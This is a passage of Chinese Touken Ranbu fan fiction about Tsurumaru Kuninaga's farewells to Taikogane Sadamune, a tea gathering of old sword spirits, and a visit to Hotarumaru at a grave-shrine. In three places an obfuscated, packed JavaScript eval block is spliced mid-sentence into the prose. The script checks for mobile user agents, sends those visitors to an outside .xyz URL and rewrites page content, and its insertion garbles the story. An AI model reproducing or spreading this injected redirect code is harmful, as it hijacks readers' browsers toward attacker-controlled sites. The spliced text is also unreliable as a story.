“唔……先听坏消息吧。” 白鹤挑了挑眉,有些惊讶。 “这可真是吓到我了呢,我还以为贞坊会想先知道好消息什么的。” 小短刀将鬓角旁垂下的碎发捋至耳后,轻声说道。 “因为如果是先听了坏消息再听好消息的话,就算坏消息再怎么糟糕透顶,之后也还是有一个好消息会在后头,不是吗?” 鹤丸国永闻言沉默片刻后,伸手绕过后背轻搭在了太鼓钟贞宗的肩头上,就像是白鹤将有着蓝金色翎羽的小小鸟雀拢络在了宽大的羽翼下。 “嘛,突然感觉贞坊也成长了很多啊……真是吓到鹤了呢。” “我已经不是小孩子啦,鹤先生。” 所以,请告诉我吧,不用有所顾虑,就如我从未隐瞒过你们一样。 我可伊达忠宗公所使用过的刀,不要小瞧我啊。 5 “贞坊,你应该知道我们这里离前线不远,对吗?” 白鹤抬头看向遥远的西北方。 “今早我从和泉守——啊,一个喜欢在战场乱窜的刃——他说,前线西侧战场的时间溯行军似乎又有了新的动作。” 不知道想到了什么,他突然笑了一下。 “和泉守的消息可比时政灵通多了。” “那家伙……他在前线战场上,可是活跃了将近有十年呢。” 十年了还是没放下啊,那振和泉守兼定。 鹤丸国永早些年还在四处流浪的时候,就有听说过有关这振和泉守兼定的一些事情,如今遇见了传言中的正主倒也觉得有几分唏嘘。 “鹤先生是说,时间溯行军大军的先行部队有可能会来到这里吗?” “是这样没错,和泉守他所推测的时间,大概是一个星期后。” 一个星期后…… 太鼓钟贞宗思考着,紧皱起眉头。 时间太紧迫了,但他和小光最缺的就是时间。 “那好消息呢?鹤先生。” “好消息,就在三天后,时政每一月一次的……嗯,刀审领养见面会?我记得上次是叫这个名字,到时候会在万屋召开。” “万屋?” “啊,贞坊没去过万屋吗?” 小短刀摇摇头,他以前连本丸的大门都没出去过,更别说万屋了。 “万屋是时政运用空间技术开辟出来的一个虚拟空间,由时政直属管辖,那里有很多的商铺街道,甚至还有百货大厦哦!像这次的见面会就设立在时政商贸大厦的第十三层。” 太鼓钟贞宗:“……鹤先生好像很熟悉时政的样子。” 鹤丸国永闻言眨眨眼睛装作无辜的样子,让刃很想对他进行一些‘爱的关照’。 “欸,有吗?鹤不知道喔?” 硬了,拳头硬了。 “……算了,所以鹤先生是想让我和小光去参加那个……刀审领养见面会?” 白鹤:“嗯嗯!” 从名字上来看,太鼓钟贞宗也大致有了许些猜测。 “新的审神者吗……?” 6 从他们落脚的地方到交易所其实并不远,以他们的脚程也就只需半个时辰不到,但鹤丸国永看出太鼓钟贞宗似乎有意绕了远路,便也顺从了他的心意。 唔,感觉上这应该是某位老爷爷的工作才对呢。 白鹤摸了摸下巴,月下谈心和林间谈话……好像差别也不大。 不过这附近的话,他记得是…… 一阵清脆悦耳的短促鸣叫忽地响起。伴随着鸟儿振翅的扑棱声,一只圆滚滚的灰绿黄色柳莺鸟从高空缓冲降落,褐色的细爪稳稳地抓住了鹤丸国永闻声抬起的纤长手指。 “tee-ti-ti-tu-tu——” 小鸟儿也不怕生,歪着头盯着鹤丸国永就开始发出一连串不同声调的婉转啼鸣,随后又跳上了太鼓钟贞宗的肩膀。 “这小鸟是?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788726|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小短刀扭着头好奇地望着肩膀上的小鸟,倒是显露出了几分孩童的天真模样。 “是茶丸家养的小鸟哦……嗯,贞丸。” 不知何出现在林间树下的胁差少年用软绵绵的语气说道。 失算了,应该拉着贞坊走另一个方向的,结果不知不觉脚下的路就往他这三个月来的住所位置拐了。 而在这一带所居住的正是聚集地里的千年老刀们。 鹤丸国永将太鼓钟贞宗护在身后,随后开口招呼道。 “哟,髭切,你家膝丸呢?” “蛇丸吗……唔,好像是迷路了噢?” 奶白金发色的胁差眯起了漂亮的茶金色猫瞳,过长的白色军装外套下摆垂落在他的大腿间。 这振特殊的胁差髭切和短刀三日月宗近、以及一振打刀大包平来自同一个本丸,那个失格的审神者是一个看似冷静实则疯狂的刃体实验科研家。 鹤丸国永还记得当初这件事查出来后,在时政的审神者论坛里闹得还挺大,和同一时期查出来的另一个失格本丸一同骂上了时政热榜。 说来也是颇富戏剧化的讽刺巧合,这两个人渣还是叔侄女关系,倒也真是‘不是一家人,不进一家门’。 7 与此同时,远处源氏兄弟的屋子里骤然间爆发出了膝丸的尖锐爆鸣。 “阿——尼——甲——” 白鹤扶了扶额头,想起了自己为什么一大早就往外跑的原因。 “诶哆……鸟丸你有听见什么吗,我好像听到了肘丸的声音?” “……是,你弟弟又在找你了。” “阿——尼——甲——你又去哪里了——” 鹤丸国永实在是吃不消聚集地里那振膝丸左一个“阿尼甲”、右一个“阿尼甲”地满世界到处找自家兄长。 而磨短成了胁差的前太刀兄长髭切的隐蔽值似乎也得到了提高,在日常中行踪越发难以寻找的同时,爱逗弟弟的性格好像也变得更加恶趣味了起来。 啧,腹黑的恶劣白毛狮子猫。 “要是没事,鹤就走了?” “……嗯那个,白丸,茶丸说,想邀请大家一起喝下午茶。” “难得你还有记事的时候,不过莺丸的小鸟也正巧来告诉我了。” “呐,白丸。” 髭切最终还是放弃了回忆起鹤丸国永正确的名字,茶金色的眼瞳直直地盯着鹤丸国永。 “你的身上,有恶鬼的气息哦?” 舌尖舔舐过尖锐的虎牙,髭切笑道。 “需要我和弟弟帮忙去斩杀恶鬼吗,白丸?” “……鹤已经上报上去了,会有人处理好一切的。” “是吗……哎呀哎呀,真是可惜。” “下次有发现的话,可以叫上我和迷路丸哦,白丸。” “鹤知道了——以及,你弟弟应该快要找过来了。” “哦呀,那我去找弟弟了,下午茶见。” 和来时一样,如幽灵般悄无声息出现的胁差很快的就在林间失去了踪影。 “我们走吧,贞坊。” “鹤先生,那振髭切殿他……” “……那振髭切是弑主刀剑付丧神。” 鹤丸国永轻轻地叹了口气。 “他和他弟弟膝丸都是。” 8 …… 「失格审神者,编号16,代号『柯言』,已死亡。」 「失格罪行:刃体实验,恶意磨短刀剑改变其刀种……」 「幸存刀剑……」 …… 「失格审神者,编号20,代号『柯雪』,已死亡。」 「失格罪行:刃体实验,将刀剑与生物融合并改造……」 「幸存刀剑……」 …… 「已确认弑主刀剑付丧神为髭切、膝丸。」 「执行刀解回收计划」 「执行观察评估计划」 …… 「提案人:代号『天一』。」 「执行者:鹤丸国永。」 …… 「执行人员与目标刀剑均已失踪。」 「该提案已废弃。」 5. 茶会 1 沿着来时的小道,鹤丸国永和太鼓钟贞宗各怀心事的沉默同行。直到远远能看见那藏在绿荫里的小屋,太鼓钟贞宗终于下定了决心。 他转过身看向鹤丸国永,灿金眸中闪烁着阳光落入其中的细碎光彩。 “鹤先生。” “嗯?” 白鹤将遇见髭切后飘远的思绪拉回,重新落在了眼前的小短刀身上。 “鹤先生。” 他复又唤了白鹤一声,身板站直,胸前垂落的华丽宝石棱角处折射出夺目的七彩虹光。 “关于您说的那个提议,我会和小光说清楚的。” 这是一个机会……为了小光,他是不会错过的。 “明智的选择——嗯对了,这个给你和光坊。” 鹤丸国永像是突然想起了什么,从怀里掏出两枚圆滚滚的、还带着几分温热的灵力球,不容拒绝地硬塞到了太鼓钟贞宗的手里。 “鹤先生这是——” “是离别礼物啦,贞坊。” 白鹤笑道。 “鹤昨天在交易所接到了新的任务,启程时间是今晚……嘛,本来打算是下午走的,但又被莺丸他们约了茶会,这也倒算是个意外的惊吓。” 说着,他状似有些苦恼地揉揉脑袋,嘟囔着说道。 “……我可不太擅长夜战啊。” 太鼓钟贞宗握着手里不断传来丝丝暖意的灵力球,却依旧觉得手脚冰凉。 “……原来是这样啊,我知道了。” “如果贞坊和光坊要去万屋的话,去交易所的里屋左拐最里面,那里有去万屋坐标的时空转换器……还有还有,记得要提前打好申请……” “嗯,我都记下了,鹤先生。” “很可靠哦,贞坊,那光坊就拜托你了。” “……最后。” 鹤丸国永轻轻地抱了抱眼角已经发红的小短刀。 “再见,贞坊。” “相信在不久的将来,我们一定还会再次相见的。” 太鼓钟贞宗不出声,只是紧紧地抱了一下白鹤,又飞快地松开了手。 他站在鹤丸国永的身前,腰板依旧挺得笔直,像是棵雨后窜高的竹。 最终,他努力地平缓下了喉中沙哑发涩的嗓音,语气轻快地将离别的话语说出了口。 “下次再见了,鹤先生。” “祝君武运昌隆——” 鹤丸国永笑了起来,用同样轻快地语调说道。 “那鹤也祝贞坊和光坊——武运昌隆。” 白鹤总要离去,就像谁也抓不住的流风。 哪怕他和这位鹤先生相处不久,他也知道,不管是谁都留不住这只流浪于尘世间的白鹤。 两条偶然间交错的平行线,终究还是要把线再一次的延长,延长向两个未知的远方。 太鼓钟贞宗一直都知道的。 他们都是彼此漫长旅途中的过客,是岁月长河里搁浅的圆润白石,是多年往后记忆里的斑斓色彩,最后会被雨水打湿泛黄,只余稍许遗憾和几声感慨。 白鹤终要离去,莫要成了束缚它的枷锁。 望着鹤丸国永隐没于绿树林间、逐渐远去的白色身影,他如此想到。 鹤先生是不绝会喜欢这种惊吓的。 “如果那是您所希望的话……” 未成语句的低喃声碎在了风里,被清风一扬便再也了无踪迹。 2 千年老刀们的茶会,一直都是一项被聚集地里的流浪刀剑们所关注的不定时活动。 大概类似于聚集地里重大事件的风向指标。 而通常作为茶会发起者的两振刀剑——小乌丸殿和莺丸殿,也正是聚集地流浪刀剑中威望最高的两位存在。 莺丸的消息最是灵通广泛——山林里大大小小的鸟雀们都是他的耳目。 这振莺丸对于口技颇有心得,学起鸟叫声来那真是惟妙惟肖,悦耳动听。 鸟儿们循着叫声,也总爱叽叽喳喳地往他院里钻。而庭中屋旁那棵日向正宗栽下多年的青梅树,便是它们落脚歇息的好去处。 他总爱坐在茶室的廊下捧着茶杯,一边细品着清茶,一边照看着成了打刀被磨损了记忆的大包平,手边常常放着一册手工制成的墨绿色手帐。 想必不用多说也都知道,那就是几乎每振莺丸刃手一本、赫赫有名的《大包平观察日记》。 一把铁茶釜,几口白瓷杯和茶碗,竹制的茶托和茶筅。茶叶和茶入是拜托经常来往于万屋的歌仙兼定用小判换来的,都是当季的新茗。 粟田口家的平野藤四郎正是精于茶道的一把好手。温碗、过筅、投茶、点茶,一套泡茶的工艺流程下来,行云流水,得心应手。 “小乌丸殿,莺丸殿,请用茶。” “子辈用心了。” 由红绳高高束起的乌发如鸦翼展翅,竹清松瘦的「日本刀之父」小乌丸抬手接过朱色的茶碗,对跪坐在身旁的小短刀满是慈爱地颔首微笑。 廊道的尽头,白发的小短刀双手端着一盘小巧精致的梅干和果子,仿佛坠入了星辰碎屑的蔚蓝眼眸微微眯起,动作轻缓地保持着手中茶点的平稳。 跟随在日向正宗身后的打刀一头红发乱翘,像是夏日残霞下的一丛赤红野草,张牙舞爪又带着蓬勃生机。 他手上也端着一盘精心准备的点心,正是颇受小三日月亲睐的三色团子。 “日向、大包平。” 手捧着茶杯,绿莺色的流海遮挡住小半张脸。莺丸侧过头看向走来的两刃,低声唤着他们的名字,清浅的笑意浮现在莺色的眸中。 院门外一阵叮叮当当的声响由远及近,抬头望去。果不其然,收到邀请的今剑领着日常迷路的小三日月抵达了这里,和平野、日向一起,四只小短刀排排坐在廊下。 小三日月坐在莺丸身旁,平野藤四郎为他斟茶,日向正宗向他推来了茶点。 今剑侧歪过头,单手撑着脸庞,长长的银发蜿蜒散落在廊道上。瞧着幺弟捧起茶杯,对上他的赤红眼眸莞尔一笑的模样,脸上也不由地流露出了笑容。 茶庭中,蓄满清水的竹筒落下,在石上轻磕出脆响。 “砰——” “哟,各位——” 白鹤振翅而落,栖息于庭。 “鹤丸殿,许久不见,别来无恙?” “托您的福,一切照常,莺丸殿。” 鹤丸国永接过平野藤四郎递来的茶,目光轻扫过庭院里早已落座的刀剑付丧神们,有些意外地笑道。 “真少见,鹤居然不是最晚到的吗?” 话音刚落,髭切那标志性的、软绵绵的嗓音就在门口响了起来。 “哎呀呀~真是失礼啊,白丸。” 奶白金色的软发像是甜滋滋的棉花软糖,唇齿间露出的两颗尖尖虎牙为胁差增添了几分俏皮,但那一双眼尾上翘的茶金色猫瞳却凌厉而锋芒毕露。 “不过放心,我也不会因为这点小事就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788727|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斩了你啦。” 髭切的话语总是轻轻飘飘,亦真亦假,让刃分不清随口说出的话语到底是威胁,又或者只是一句玩笑话。 那是一只随时都有可能失控,但又努力克制着自己的凶猛恶兽。 “我还是很宽容的,对吧,迟到丸?” “是膝丸啊,阿尼甲。” 好不容易找到自家兄长的薄绿发色的太刀青年,面带无奈地纠正着自己又被兄长喊错的名字。 他穿着和髭切同款的黑色军服,有着相同的茶金眸色,但却又有着本质上的不同。 任是谁也不会看错,毫无疑问,那是一双属于蛇类的竖直兽瞳。 “嘛,毕竟都是当了上千年的刀了……名字什么也无所谓了啦。” “阿尼甲——” “砰——” 添水满而溢,竹落,石敲。 3 品茶,谈天,议事。 小小的茶庭院落里,各种各样的讯息在刀剑付丧神们的澄澈茶里,交谈声中,悄然地交换着。 千年时光的沉淀使他们对于事情的看待更为平静而通透,心如明镜般映照出世界万物本质的道理。 远方而来的鸟儿衔来了一片红枫,飘落在莺丸的手中。 “不知不觉,已经是秋天了啊。” 小三日月望着日暮西沉的淡橙红色天空。 “太阳早早落下,夜晚逐渐漫长。” 小乌丸也阖眸低语。 “鸟儿总要离巢而去。” 这是一场并不漫长的告别,在座的诸位都心知肚明。 “呐,白丸。” 髭切依旧是笑眯眯的模样,对着鹤丸国永说道。 “夜晚看不清道路的话,我和弟弟可以陪你一起哦?” “阿尼甲……” 膝丸坐在髭切身旁,欲言又止。 “可以哟。” “欸?” 白鹤看着髭切因为听到了让刃意外的回答而睁大的猫猫眼,忍不住低笑出声。 “开玩笑的啦,哈哈哈,吓到你了吗?” 髭切:好气哦,但是还要保持微笑。 鹤丸国永站起身来,活动了一下腿脚和整理了一番衣装。 “既然己经找到了你弟弟的话,就留下来吧。” 过去的事情已经过去了,美好的新篇章如今才刚刚开始…… 不要沉浸在糟糕的回忆里呀,髭切。 “……嘛,看在昔日的交情上。” “再有下一次,就一定会斩了你哦,白丸。” “嗨、嗨~鹤不会让你有那个机会的~” 白鹤一脚踏进霞光里,像是白纸落入了水中,橙红的颜色一点一点地在纸上渲染开来。 “时间差不多了呢……嗯,去给其他地方的家伙也带来一些惊吓吧,这听起来是个不错的主意。” “鹤丸殿。” “您离开的消息,我会传回给鲶尾哥他们的。” 平野藤四郎将茶杯收好后,对于即将启程的白鹤,也只来得及说上一两句话和送上自己最衷心的祝福。 “以及,愿君此行,武运昌隆。” “……嗯。” “谢谢,鹤收到了唷。” 一段旅程的结束,也是另一段旅程的开始。 哎?你说,你想知道鹤曾经流浪旅途中所见到的故事? 哎呀哎呀,鹤以后会告诉你的。 现在嘛,嘿嘿,保密! 6. 萤火 1 一路穿行过林海,伴着夕阳与残霞,夜色笼罩大地。 月亮被高高的树梢所阻拦,只漏下几缕冷白残光。 太刀在夜晚行动还是有些过于勉强,幸好鹤丸国永对于这条道路早已熟记于心。 借着月光落在雪白羽织上反射出的柔和白光,倒也不至于完全两眼一抹黑——这可是鹤丸国永在野外流浪时,实践得出的生活小技巧。 鹤可没有吹,只要有点亮光,鹤在晚上就能够「真·白得发光」。 但这个技巧也有利有弊,太招摇的话,也很容易吸引来敌人的注意。 不过在聚集地附近,算得上是少有的安全区。 在聚集地里定居的每一振流浪刀剑付丧神,都会拼死守卫他们仅有的家园。 那种眼神啊……真令刃羡慕。 “真是的,鹤可没有家啊,这样流浪的鹤不就变成孤家寡刃的可怜鹤了吗……” 果然还是要尽快离开呢,不然鹤就要被留下来喽。 不过在走之前,还是去见一面吧。 那位庇护此地的……「神明大人」。 2 虽然已经入秋,但常常出没于夏夜里的小精灵们,依旧在草丛间雀跃舞动着——那是星星陨落到了地上,成了人间飘荡的萤火。 萤火虫们围着鹤丸国永飘飘忽忽地转了几圈,随后又向着一个方向纷纷飞去,像是许多盏忽明忽灭的小灯笼,指引着访客前往一个未知的目的地。 白鹤心下明了,那位「神明大人」已是知晓并应许了自己的不请自来。 走过青石铺就的参道,穿过朱色的鸟居。 弦月高悬夜空,月光轻柔地洒落在这座屹立于林间空地的小小神社上。 神社是后来才建成的建筑。 最早的时候,这里只立着一座墓碑。 而此时,那小小的神明正怀抱着大太刀,安安静静地坐在那块近两米高的石碑上。 “鹤丸殿——?” 稚嫩的童声,带着习惯拉长的尾音。 银发盖在军帽下,耳鬓两侧弯弯卷卷地翘起调皮的两缕,黄绿色的眼瞳里闪烁着萤火虫们明明灭灭的亮光。 毫无疑问,这是一振萤丸。 一振融合了本灵灵魂碎片的特殊萤丸。 祂庇护此地,祂驻守此方,祂让战争远离桃花之源,祂令林海成为萤火之森—— 祂,是一位孤独守墓的温柔神明。 “哟,萤丸。” 鹤丸国永眼中流露怀念的神情,声音中带着感慨。 “岁月悠悠,一晃十三年载。” 他走在月光下,是一抹纯粹的、莹莹发光的白,和萤丸记忆中的模样分毫不差。 白鹤笑意盈盈地扬声问候道。 “多年未见,近来可还安好?” 3 在过去的一些时光里,白鹤也曾有过短暂同行的旅伴。 而萤丸正是其中之一。 正太模样的大太刀从墓碑上跳下来,在成群飞舞的萤火虫的拱卫下,哒哒哒地走到鹤丸国永面前。 “鹤丸殿。” 萤丸低头看着熟练地蹲下来,微抬起头看向祂的鹤丸国永,歪了歪脑袋。 “你好像变了很多。” 祂停顿了一下,又将头歪向另一侧。 “唔,但又好像没变什么。” “是吗……呐,在鹤看来,反而是萤丸变了很多喔?” “……” 萤丸闻言不语,只是后退了两步,抱着刀又转身走回到了墓碑前。 鹤丸国永也收敛起脸上的笑意,站起来随意挥落了衣袖上的尘土,然后静静地跟在萤丸身后,望向眼前的墓碑。 墓碑简简单单,用材是随处可见的坚硬岩石。用刀削成了长条方正的样式,平滑的石碑上只简洁地雕刻了一个「来」字和两枚精致刀纹。 这是一座刀冢,也是一处阵眼。 这里,镇压着两振刀剑的残魂。 “看起来还是老样子啊,不过这个聚灵阵法……时政那边新派人来看过了?” “嗯,一个月前来过。” 萤丸平静地看着墓碑,眼底倒映出密密麻麻、繁复晦涩的阵法纹路。 “我有仔细检查过,新绘制的阵法利用了此地灵脉中自然流转的灵气,以此来净化碎刃刀身上的『侵蚀』。” “只需要再等待一段时间……国行和爱染就能够彻底回归本灵了。” 这是萤丸所能做到的,最好的结局。 为此,祂已经在此地守候十三年。 神明的寿命近乎无穷无尽,而祂最不缺乏那点耐心。 “他们有说什么条件吗?” “没有哦。” 萤火虫停歇在墓碑上,一闪一闪。 “那些人类什么都没有说。” “他们……只是用很奇怪的眼神,看着我。” 祂有些不解地询问着昔日的故友。 “他们为什么会想摸摸我的头?” 小小的神明想到这,佯装生气地鼓起了脸颊。 “会长不高的欸——” 这般幼稚的举动,倒有几分像是从前了。 4 白鹤的记性一向很好,正如他仍记得十三年前。 相逢在一个无月雨夜的刀剑们。 懒惰而不着调的明石国行。 活力满满爱笑的爱染国俊。 乖巧但大魔王属性的萤丸。 同一屋檐下,他们都狼狈不堪。 拉开这段过往序幕的,是骤然亮起的刀光和窗外的沉闷雷鸣。 「一个大惊吓!」 那时的白鹤性格更为跳脱,也更爱冒险行事。 萤丸身为大太刀在室内战虽有诸多不便,但狭窄的空间对太刀来说,限制也不算小。 两个夜战瞎子在昏暗的室内,萤丸凭借娇小灵活的体型和打击面更广的范围本就占上了上风,更不要说在他身后还有擅长夜间侦查的短刀爱染国俊。 鹤丸国永依靠经验在躲了萤丸横劈出的一刀之后,看清了形势的他便吱哇乱叫地大喊起了误会。 「停停停!鹤没有恶意!鹤只想避个雨!呜哇!」 为表示诚意,他还主动放下了下意识拔出的太刀。 一个相当危险的行为,但也成功让萤丸挥舞中的大太刀迟缓了半秒,等来了来派监护人下达收手判断的指令。 「阿萤,不是敌人。」 「收到。」 好战的大太刀有些遗憾地收回了只差几毫米便能斩落的刀,最终也只有落下的锋利刀气划破了鹤丸国永身上的羽织。 他利落地收刀归鞘,对于这场热身还没有开始,就被喊停结束的战斗似乎有些不太尽兴。 「嗯,稍微有点不满足呢。」 逃过一劫的白鹤闻言,一个激灵又跳了起来,炸开了被雨水打湿的羽毛。 「欸——」 萤丸抬手扶正了头上在战斗中歪斜了的军帽,扭头看了眼一旁浑身湿哒哒的落水鹤。 「怎么了,鹤丸殿是想等雨停了再来一战吗?」 顶着萤丸跃跃欲试的眼神,鹤丸国永脑海中的危机感雷达‘滴答滴答’地疯狂向他预警。 他火速立马双手抬起,在胸前打了一个大大的‘×’。 「唯独这种请求,恕鹤拒绝!」 这便是他们最初的相逢。 一段不长故事的寻常开端。 5 “喏,给你。” 萤丸从鹤丸国永手中接过一包款式精美的纸袋。 “这是?” 祂好奇地晃了晃纸袋,里面有小小的事物沙沙作响。 凑近一闻,有甜丝丝的好闻味道。 “是金平糖哦!鹤当初答应过给你和爱染尝尝的。” …… 「金平糖,是外形像星星一样的、甜甜的糖果喔!」 不方便行动的红发短刀窝在白鹤的怀里,绘声绘色地与同刀派的兄弟诉说着一些,他曾在过去随着队伍远征时见到过的新鲜事物。 「那时候阿萤还没有来,小判也不太够……不过我有在甜品屋门口闻到过,是很香甜可口的味道。」 爱染国俊咂巴了下嘴,又咬了一口手中酸过头了的浆果。 他被酸得五官缩成了皱巴巴的一团。 「如果有金平糖就好了……不不不,我可有着爱染明王的加护,这点酸、呜,不算什么!」 萤丸一边听爱染国俊说着,一边手底下也麻利地给早已陷入梦乡的明石国行翻了个身。 拆解下染血的绷带,换上新的草药,再重新包扎好。 这些事情从过去的生疏到如今的现在,萤丸的手法也已经变得相当的娴熟。 「鹤记得,翻过这一座山脉,在另一边就有人类的城镇,我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788728|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以帮爱染和萤丸带些金平糖回来哦~」 「哎?真的吗!」 「当然!鹤说到做到。」 …… “金平糖啊。” 扯开系在袋口的细绳,糖果特有的甜蜜气味扑鼻而来。借着萤火和月光,萤丸看清了装在纸袋里的、在爱染俊国口述中的,金平糖的模样。 小小的,五彩斑斓的颜色,像是天上的星星一样。 祂挑起一颗红色的‘星星’,放进了嘴里。 甜甜的味道,就像是熟透的莓果。 不,比那还要甜……唔,太甜了些。 祂抬起头,很认真地对鹤丸国永描述了自己此时的感受。 “金平糖,很甜,爱染会喜欢的。” 随后萤丸将纸袋重新扎好,放在了墓碑前。 衪的声音轻轻的,像是怕惊扰了什么存在。 “谢谢你,鹤丸殿。” 糖化的太快了,但幸好甜味足够持久悠长。 哪怕来晚了点,也是曾经期盼过的、幸福的味道。 6 “藤四郎们建的?” “嗯。” “他们家建房子的手艺向来很好。” …… 最早来到这片萤火森林里发现萤丸的,是一振流浪的五虎退。 这振善良腼腆的小短刀在被祂用灵力治疗唤醒后,慌慌张张地表达了谢意,然后便局促而迫切地离开了。 萤丸虽有些疑惑,但也没多想什么,低头继续观察翠绿草叶上爬动的甲虫。 短短三日后,五虎退又回来了。 这一回,他带来了一振药研藤四郎和乱藤四郎。 「拜托您……救救药研尼和乱尼……」 「这位……好心的萤丸大人……」 也许是那双金色的眼眸太过相似,哪怕融合了本灵的灵魂碎片,神性压制了刃性变得更为淡漠,但祂还是开口了。 「好。」 萤火虫随着祂的呼唤而来,祂答应了他的祈求。 最后,粟田口一家留了下来,他们在离这不远的地方发现了一条小溪和人类废弃的屋舍。 「萤丸大人……今天,药研尼和骨喰尼在战场上救下了平野和前田,太好了……又有新的家人加入了。」 白发的小短刀怀里抱着他仅剩的最后一只小老虎,怯懦的声音里带着纯粹的欢喜。 「对了……我、我有偷听到,前不久来的鲶尾尼对乱尼和厚尼说……」 卷曲的白发遮挡住右侧的金瞳,脸颊上淡淡的红晕和俏皮的小雀斑在月下看得一清二楚。 「大家、想给萤丸大人建一座神社。」 他小心翼翼地打量着祂脸上的神色,声音又弱了下去。 「这样……下雨的时候,萤丸大人也有地方可以避避雨了。」 曾经一个善意的举动,最终为祂带来了好的结果。 或许,这就是缘罢。 7 萤丸在萤火虫的环绕中,望着转身背对向月光的鹤丸国永,祂知道要到告别故友的时候了。 “你要离开了。” “嗯,前不久发现了一道不太稳定的时空裂缝,鹤初步探查过,有『侵蚀』的痕迹。” “你要去关闭它?” “Bingo——恭喜你,猜对了,但没有奖励。” “……『侵蚀』很危险,鹤丸殿。” “嘛,我知道。” “但有些事情,总要有刃去做才行啊。” “惊吓在人生中是必要的啊,如果都是能够预料到的事,心会因此死去的。” 白鹤的话落在渐起的夜风里,雪白的衣摆和树影一同在风中摇晃。 “萤丸,等一切终了,要留下来吗?” 大太刀沉默了片刻,最终走向了相反的方向。 神社殿外悬挂着的注连绳上的纸垂和流苏,连同萤丸手中刀柄尾端系着的红色绳结一起,都被这一阵倏然刮起的夜风吹卷扬起,复又缓缓落下。 “我是萤丸,阿苏神社的萤丸。” “神明的职责,我很早就知道了。” “所以,我结下的缘,自是由我来承担。” 鹤丸国永没有回头,萤丸也没有。 这是他们各自选择的道路,也是属于他们的坚守。 不过啊…… “成为了一个很称职的「神明大人」呢,萤丸。”